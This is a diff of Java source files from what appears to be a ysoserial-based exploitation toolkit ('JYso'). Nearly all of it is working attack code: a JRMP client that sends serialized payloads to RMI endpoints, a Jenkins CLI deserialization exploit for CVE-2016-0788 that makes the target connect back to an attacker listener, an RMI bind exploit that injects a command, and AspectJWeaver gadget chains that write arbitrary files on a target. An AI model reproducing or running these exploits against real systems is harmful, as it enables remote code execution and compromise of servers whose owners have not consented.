|
|
||||||
long obj = Long.parseLong(objNum);
|
long obj = Long.parseLong(objNum);
|
||||||
int o1 = Integer.parseInt(parts[0], 16);
|
int o1 = Integer.parseInt(parts[0], 16);
|
||||||
long o2 = Long.parseLong(parts[1], 16);
|
long o2 = Long.parseLong(parts[1], 16);
|
||||||
short o3 = Short.parseShort(parts[2], 16);
|
short o3 = Short.parseShort(parts[2], 16);
|
||||||
|
|
||||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||||
throws IOException {
|
throws IOException {
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
DataOutputStream dos = null;
|
DataOutputStream dos = null;
|
||||||
try {
|
try {
|
||||||
System.err.println("* Opening JRMP socket " + isa);
|
System.err.println("* Opening JRMP socket " + isa);
|
||||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||||
s.setKeepAlive(true);
|
s.setKeepAlive(true);
|
||||||
s.setTcpNoDelay(true);
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
OutputStream os = s.getOutputStream();
|
OutputStream os = s.getOutputStream();
|
||||||
dos = new DataOutputStream(os);
|
dos = new DataOutputStream(os);
|
||||||
|
|
||||||
dos.writeInt(TransportConstants.Magic);
|
dos.writeInt(TransportConstants.Magic);
|
||||||
dos.writeShort(TransportConstants.Version);
|
dos.writeShort(TransportConstants.Version);
|
||||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||||
|
|
||||||
dos.write(TransportConstants.Call);
|
dos.write(TransportConstants.Call);
|
||||||
|
|
||||||
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||||
|
|
||||||
objOut.writeLong(obj);
|
objOut.writeLong(obj);
|
||||||
objOut.writeInt(o1);
|
objOut.writeInt(o1);
|
||||||
objOut.writeLong(o2);
|
objOut.writeLong(o2);
|
||||||
objOut.writeShort(o3);
|
objOut.writeShort(o3);
|
||||||
|
|
||||||
objOut.writeInt(-1);
|
objOut.writeInt(-1);
|
||||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||||
|
|
||||||
// 去除前两个参数
|
// 去除前两个参数
|
||||||
String[] newArray = new String[args.length - 2];
|
String[] newArray = new String[args.length - 2];
|
||||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
Object payloadObject = ysoserial.PAYLOAD;
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
objOut.writeObject(payloadObject);
|
objOut.writeObject(payloadObject);
|
||||||
os.flush();
|
os.flush();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
} finally {
|
} finally {
|
||||||
if (dos != null) {
|
if (dos != null) {
|
||||||
dos.close();
|
dos.close();
|
||||||
}
|
}
|
||||||
if (s != null) {
|
if (s != null) {
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,79 +1,79 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||||
import hudson.remoting.Channel;
|
import hudson.remoting.Channel;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.rmi.registry.Registry;
|
import java.rmi.registry.Registry;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* CVE-2016-0788 exploit (2)
|
* CVE-2016-0788 exploit (2)
|
||||||
* <p>
|
* <p>
|
||||||
* - Sets up a local {@link JRMPListener}
|
* - Sets up a local {@link JRMPListener}
|
||||||
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
||||||
* that will cause the remote to open a JRMP connection to our listener
|
* that will cause the remote to open a JRMP connection to our listener
|
||||||
* - upon connection the specified payload will be delivered to the remote
|
* - upon connection the specified payload will be delivered to the remote
|
||||||
* (that will deserialize using a default ObjectInputStream)
|
* (that will deserialize using a default ObjectInputStream)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
public class JenkinsReverse {
|
public class JenkinsReverse {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
|
private static final Logger log = LogManager.getLogger(JenkinsReverse.class);
|
||||||
|
|
||||||
public static void main(final String[] args) throws Exception {
|
public static void main(final String[] args) throws Exception {
|
||||||
if (args.length < 4) {
|
if (args.length < 4) {
|
||||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 去除前两个参数
|
// 去除前两个参数
|
||||||
String[] newArray = new String[args.length - 2];
|
String[] newArray = new String[args.length - 2];
|
||||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
ysoserial.run(newArray);
|
ysoserial.run(newArray);
|
||||||
final Object payloadObject = ysoserial.PAYLOAD;
|
final Object payloadObject = ysoserial.PAYLOAD;
|
||||||
String myAddr = args[1];
|
String myAddr = args[1];
|
||||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||||
String jenkinsUrl = args[0];
|
String jenkinsUrl = args[0];
|
||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
Channel c = null;
|
Channel c = null;
|
||||||
try {
|
try {
|
||||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
c = JenkinsCLI.openChannel(isa);
|
c = JenkinsCLI.openChannel(isa);
|
||||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||||
t = new Thread(listener, "ReverseDGC");
|
t = new Thread(listener, "ReverseDGC");
|
||||||
t.setDaemon(true);
|
t.setDaemon(true);
|
||||||
t.start();
|
t.start();
|
||||||
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||||
listener.waitFor(1000);
|
listener.waitFor(1000);
|
||||||
listener.close();
|
listener.close();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
log.error(String.valueOf(e));
|
log.error(String.valueOf(e));
|
||||||
} finally {
|
} finally {
|
||||||
if (c != null) {
|
if (c != null) {
|
||||||
try {
|
try {
|
||||||
c.close();
|
c.close();
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (t != null) {
|
if (t != null) {
|
||||||
t.interrupt();
|
t.interrupt();
|
||||||
try {
|
try {
|
||||||
t.join();
|
t.join();
|
||||||
} catch (InterruptedException e) {
|
} catch (InterruptedException e) {
|
||||||
e.printStackTrace(System.err);
|
e.printStackTrace(System.err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,111 +1,111 @@
|
|||||||
package com.qi4l.JYso.exploit;
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.security.auth.UnixPrincipal;
|
import com.sun.security.auth.UnixPrincipal;
|
||||||
import sun.rmi.transport.StreamRemoteCall;
|
import sun.rmi.transport.StreamRemoteCall;
|
||||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
|
||||||
import javax.management.remote.rmi.RMIConnection;
|
import javax.management.remote.rmi.RMIConnection;
|
||||||
import javax.security.auth.Subject;
|
import javax.security.auth.Subject;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectInput;
|
import java.io.ObjectInput;
|
||||||
import java.io.ObjectOutput;
|
import java.io.ObjectOutput;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.rmi.*;
|
import java.rmi.*;
|
||||||
import java.rmi.registry.LocateRegistry;
|
import java.rmi.registry.LocateRegistry;
|
||||||
import java.rmi.registry.Registry;
|
import java.rmi.registry.Registry;
|
||||||
import java.rmi.server.Operation;
|
import java.rmi.server.Operation;
|
||||||
import java.rmi.server.RemoteObject;
|
import java.rmi.server.RemoteObject;
|
||||||
import java.rmi.server.RemoteRef;
|
import java.rmi.server.RemoteRef;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class RMIBindExploit {
|
public class RMIBindExploit {
|
||||||
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
if (args.length < 4) {
|
if (args.length < 4) {
|
||||||
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||||
System.exit(-1);
|
System.exit(-1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String host = args[0];
|
String host = args[0];
|
||||||
int registryPort = Integer.parseInt(args[1]);
|
int registryPort = Integer.parseInt(args[1]);
|
||||||
String command = args[2];
|
String command = args[2];
|
||||||
String serviceName = args[3];
|
String serviceName = args[3];
|
||||||
|
|
||||||
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||||
System.out.println(Arrays.toString(registry.list()));
|
System.out.println(Arrays.toString(registry.list()));
|
||||||
|
|
||||||
Subject subject = new Subject();
|
Subject subject = new Subject();
|
||||||
|
|
||||||
Set set = new HashSet();
|
Set set = new HashSet();
|
||||||
set.add(new UnixPrincipal(command));
|
set.add(new UnixPrincipal(command));
|
||||||
Reflections.setFieldValue(subject, "principals", set);
|
Reflections.setFieldValue(subject, "principals", set);
|
||||||
|
|
||||||
|
|
||||||
RMIClient r = new RMIClient();
|
RMIClient r = new RMIClient();
|
||||||
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||||
r.ip = host;
|
r.ip = host;
|
||||||
|
|
||||||
|
|
||||||
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||||
}
|
}
|
||||||
|
|
||||||
static class RMIClient extends RemoteObject {
|
static class RMIClient extends RemoteObject {
|
||||||
|
|
||||||
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||||
|
|
||||||
private RemoteRef ref = null;
|
private RemoteRef ref = null;
|
||||||
|
|
||||||
private String ip = null;
|
private String ip = null;
|
||||||
|
|
||||||
public Remote lookup(String var1) throws NotBoundException, RemoteException {
|
public Remote lookup(String var1) throws NotBoundException, RemoteException {
|
||||||
try {
|
try {
|
||||||
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
ObjectOutput var3 = var2.getOutputStream();
|
ObjectOutput var3 = var2.getOutputStream();
|
||||||
var3.writeObject(var1);
|
var3.writeObject(var1);
|
||||||
} catch (IOException var15) {
|
} catch (IOException var15) {
|
||||||
throw new MarshalException("error marshalling arguments", var15);
|
throw new MarshalException("error marshalling arguments", var15);
|
||||||
}
|
}
|
||||||
|
|
||||||
this.ref.invoke(var2);
|
this.ref.invoke(var2);
|
||||||
|
|
||||||
Remote var20;
|
Remote var20;
|
||||||
try {
|
try {
|
||||||
ObjectInput var4 = var2.getInputStream();
|
ObjectInput var4 = var2.getInputStream();
|
||||||
var20 = (Remote) var4.readObject();
|
var20 = (Remote) var4.readObject();
|
||||||
|
|
||||||
Field f = var2.getClass().getDeclaredField("in");
|
Field f = var2.getClass().getDeclaredField("in");
|
||||||
f.setAccessible(true);
|
f.setAccessible(true);
|
||||||
Object conn = f.get(var2);
|
Object conn = f.get(var2);
|
||||||
|
|
||||||
f = conn.getClass().getDeclaredField("incomingRefTable");
|
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||||
f.setAccessible(true);
|
f.setAccessible(true);
|
||||||
|
|
||||||
HashMap rets = (HashMap) f.get(conn);
|
HashMap rets = (HashMap) f.get(conn);
|
||||||
|
|
||||||
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||||
|
|
||||||
f = entry.getKey().getClass().getDeclaredField("host");
|
f = entry.getKey().getClass().getDeclaredField("host");
|
||||||
f.setAccessible(true);
|
f.setAccessible(true);
|
||||||
f.set(entry.getKey(), this.ip);
|
f.set(entry.getKey(), this.ip);
|
||||||
} catch (Exception var13) {
|
} catch (Exception var13) {
|
||||||
// var2.discardPendingRefs();
|
// var2.discardPendingRefs();
|
||||||
throw new UnmarshalException("error unmarshalling return", var13);
|
throw new UnmarshalException("error unmarshalling return", var13);
|
||||||
} finally {
|
} finally {
|
||||||
this.ref.done(var2);
|
this.ref.done(var2);
|
||||||
}
|
}
|
||||||
|
|
||||||
return var20;
|
return var20;
|
||||||
} catch (RuntimeException | NotBoundException | RemoteException var16) {
|
} catch (RuntimeException | NotBoundException | RemoteException var16) {
|
||||||
throw var16;
|
throw var16;
|
||||||
} catch (Exception var19) {
|
} catch (Exception var19) {
|
||||||
throw new UnexpectedException("undeclared checked exception", var19);
|
throw new UnexpectedException("undeclared checked exception", var19);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,64 +1,64 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
import static com.qi4l.JYso.gadgets.AspectJWeaver2.getSerializableCC6;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Gadget chain:
|
* Gadget chain:
|
||||||
* HashSet.readObject()
|
* HashSet.readObject()
|
||||||
* HashMap.put()
|
* HashMap.put()
|
||||||
* HashMap.hash()
|
* HashMap.hash()
|
||||||
* TiedMapEntry.hashCode()
|
* TiedMapEntry.hashCode()
|
||||||
* TiedMapEntry.getValue()
|
* TiedMapEntry.getValue()
|
||||||
* LazyMap.get()
|
* LazyMap.get()
|
||||||
* SimpleCache$StorableCachingMap.put()
|
* SimpleCache$StorableCachingMap.put()
|
||||||
* SimpleCache$StorableCachingMap.writeToPath()
|
* SimpleCache$StorableCachingMap.writeToPath()
|
||||||
* FileOutputStream.write()
|
* FileOutputStream.write()
|
||||||
* <p>
|
* <p>
|
||||||
* Usage:
|
* Usage:
|
||||||
* args = "<filename>;<base64 content>"
|
* args = "<filename>;<base64 content>"
|
||||||
* Example:
|
* Example:
|
||||||
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||||
* <p>
|
* <p>
|
||||||
* More information:
|
* More information:
|
||||||
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
|
* <a href="https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5">...</a>
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings("unused")
|
@SuppressWarnings("unused")
|
||||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
@Authors({Authors.JANG})
|
@Authors({Authors.JANG})
|
||||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||||
|
|
||||||
public Serializable getObject(String command) throws Exception {
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||||
}
|
}
|
||||||
String[] parts = command.split(":");
|
String[] parts = command.split(":");
|
||||||
String filename = parts[0];
|
String filename = parts[0];
|
||||||
byte[] content = Base64.decodeBase64(parts[1]);
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
|
|
||||||
Object simpleCache = ctor.newInstance(".", 12);
|
Object simpleCache = ctor.newInstance(".", 12);
|
||||||
Transformer ct = new ConstantTransformer(content);
|
Transformer ct = new ConstantTransformer(content);
|
||||||
|
|
||||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||||
|
|
||||||
return getSerializableCC6(entry);
|
return getSerializableCC6(entry);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,95 +1,95 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.collections.Factory;
|
import org.apache.commons.collections.Factory;
|
||||||
import org.apache.commons.collections.Transformer;
|
import org.apache.commons.collections.Transformer;
|
||||||
import org.apache.commons.collections.functors.ConstantFactory;
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
import java.io.Serializable;
|
import java.io.Serializable;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
@Authors({Authors.QI4L})
|
@Authors({Authors.QI4L})
|
||||||
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Serializable getObject(String command) throws Exception {
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
int sep = command.lastIndexOf(';');
|
int sep = command.lastIndexOf(';');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||||
}
|
}
|
||||||
String[] parts = command.split(";");
|
String[] parts = command.split(";");
|
||||||
String filename = parts[0];
|
String filename = parts[0];
|
||||||
byte[] content = Base64.decodeBase64(parts[1]);
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
Object simpleCache = ctor.newInstance(".", 12);
|
Object simpleCache = ctor.newInstance(".", 12);
|
||||||
|
|
||||||
Factory ft = new ConstantFactory(content);
|
Factory ft = new ConstantFactory(content);
|
||||||
Transformer ct = new FactoryTransformer(ft);
|
Transformer ct = new FactoryTransformer(ft);
|
||||||
|
|
||||||
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
Map<?,?> lazyMap = LazyMap.decorate((Map<?,?>) simpleCache, ct);
|
||||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||||
|
|
||||||
return getSerializableCC6(entry);
|
return getSerializableCC6(entry);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
|
static Serializable getSerializableCC6(TiedMapEntry entry) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
|
||||||
HashSet<String> map = new HashSet<>(1);
|
HashSet<String> map = new HashSet<>(1);
|
||||||
map.add("QI4L");
|
map.add("QI4L");
|
||||||
Field f;
|
Field f;
|
||||||
try {
|
try {
|
||||||
f = HashSet.class.getDeclaredField("map");
|
f = HashSet.class.getDeclaredField("map");
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
//noinspection JavaReflectionMemberAccess
|
//noinspection JavaReflectionMemberAccess
|
||||||
f = HashSet.class.getDeclaredField("backingMap");
|
f = HashSet.class.getDeclaredField("backingMap");
|
||||||
}
|
}
|
||||||
|
|
||||||
Reflections.setAccessible(f);
|
Reflections.setAccessible(f);
|
||||||
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
|
HashMap<?,?> innimpl = (HashMap<?,?>) f.get(map);
|
||||||
|
|
||||||
Field f2;
|
Field f2;
|
||||||
try {
|
try {
|
||||||
f2 = HashMap.class.getDeclaredField("table");
|
f2 = HashMap.class.getDeclaredField("table");
|
||||||
} catch (NoSuchFieldException e) {
|
} catch (NoSuchFieldException e) {
|
||||||
//noinspection JavaReflectionMemberAccess
|
//noinspection JavaReflectionMemberAccess
|
||||||
f2 = HashMap.class.getDeclaredField("elementData");
|
f2 = HashMap.class.getDeclaredField("elementData");
|
||||||
}
|
}
|
||||||
|
|
||||||
Reflections.setAccessible(f2);
|
Reflections.setAccessible(f2);
|
||||||
Object[] array = (Object[]) f2.get(innimpl);
|
Object[] array = (Object[]) f2.get(innimpl);
|
||||||
|
|
||||||
Object node = array[0];
|
Object node = array[0];
|
||||||
if (node == null) {
|
if (node == null) {
|
||||||
node = array[1];
|
node = array[1];
|
||||||
}
|
}
|
||||||
|
|
||||||
Field keyField;
|
Field keyField;
|
||||||
try {
|
try {
|
||||||
keyField = node.getClass().getDeclaredField("key");
|
keyField = node.getClass().getDeclaredField("key");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||||
}
|
}
|
||||||
|
|
||||||
Reflections.setAccessible(keyField);
|
Reflections.setAccessible(keyField);
|
||||||
keyField.set(node, entry);
|
keyField.set(node, entry);
|
||||||
|
|
||||||
return map;
|
return map;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,39 +1,39 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import bsh.Interpreter;
|
import bsh.Interpreter;
|
||||||
import bsh.XThis;
|
import bsh.XThis;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||||
|
|
||||||
